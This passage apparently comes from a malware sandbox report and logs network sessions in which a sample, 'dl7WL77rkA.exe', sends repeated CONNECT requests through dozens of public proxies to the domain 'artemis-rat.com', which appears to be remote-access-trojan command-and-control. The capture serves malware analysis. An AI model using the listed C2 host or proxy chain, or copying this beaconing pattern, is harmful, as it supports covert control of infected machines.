359	192.168.2.5	50856	201.149.127.22	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.037446022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.779808998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.858026028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.108262062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.5	50124	175.100.91.151	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.046051979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.108056068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.5	50691	51.68.164.77	16892	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.049294949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.076718092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.5	50895	13.38.176.104	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.053488016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.350292921 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:39 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.5	50851	212.23.217.35	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.056961060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.811074972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.697926998 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.5	50890	8.218.100.120	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.058825016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.362978935 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.5	50907	212.110.188.222	34411	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.058828115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.483002901 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.5	50893	43.133.71.20	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.087192059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.5	50611	199.58.185.9	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.087234974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.5	50915	43.129.228.46	7890	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.087356091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.399050951 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.5	51091	104.16.104.12	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.087615013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.242146015 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.5	51092	185.162.228.128	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.087620020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.241807938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.5	50925	154.85.58.149	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.087707996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.419852018 CET	321	IN	HTTP/1.1 400 Bad Request Server: openresty/1.15.8.2 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 163 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.15.8.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.5	51122	172.67.182.126	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.087717056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.242111921 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.5	51096	104.22.50.220	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.087727070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.242331028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.5	50871	45.4.144.232	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.088284969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.5	50932	163.172.144.132	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.089534998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.732954025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.607966900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.389739037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.889925957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405349970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.889482975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.905040026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.5	50937	75.119.145.154	15779	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.089651108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.732964993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.623711109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.5	50943	5.252.23.220	1081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.095952988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.5	51039	38.162.11.216	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.095963955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.510152102 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.5	50985	147.75.92.251	10089	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.098901987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.380642891 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.5	50991	184.185.2.12	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.103272915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.5	50917	31.43.158.108	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.103971958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.5	50789	111.206.0.99	8181	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.104561090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.105659962 CET	162	IN	HTTP/1.1 200 Connection Established Accept-Ranges: bytes Content-Length: 0 Date: Mon, 11 Mar 2024 02:30:39 GMT Server: eJet/1.4.2 X-Nat-IP: 154.16.105.38

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.5	51009	72.206.181.123	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.106568098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.5	51112	162.214.227.68	55392	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.107115030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.592312098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.139303923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.5	51065	162.241.6.97	46783	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.116297007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.5	51145	185.238.228.96	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.125087976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.279345989 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.5	51147	104.21.223.181	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
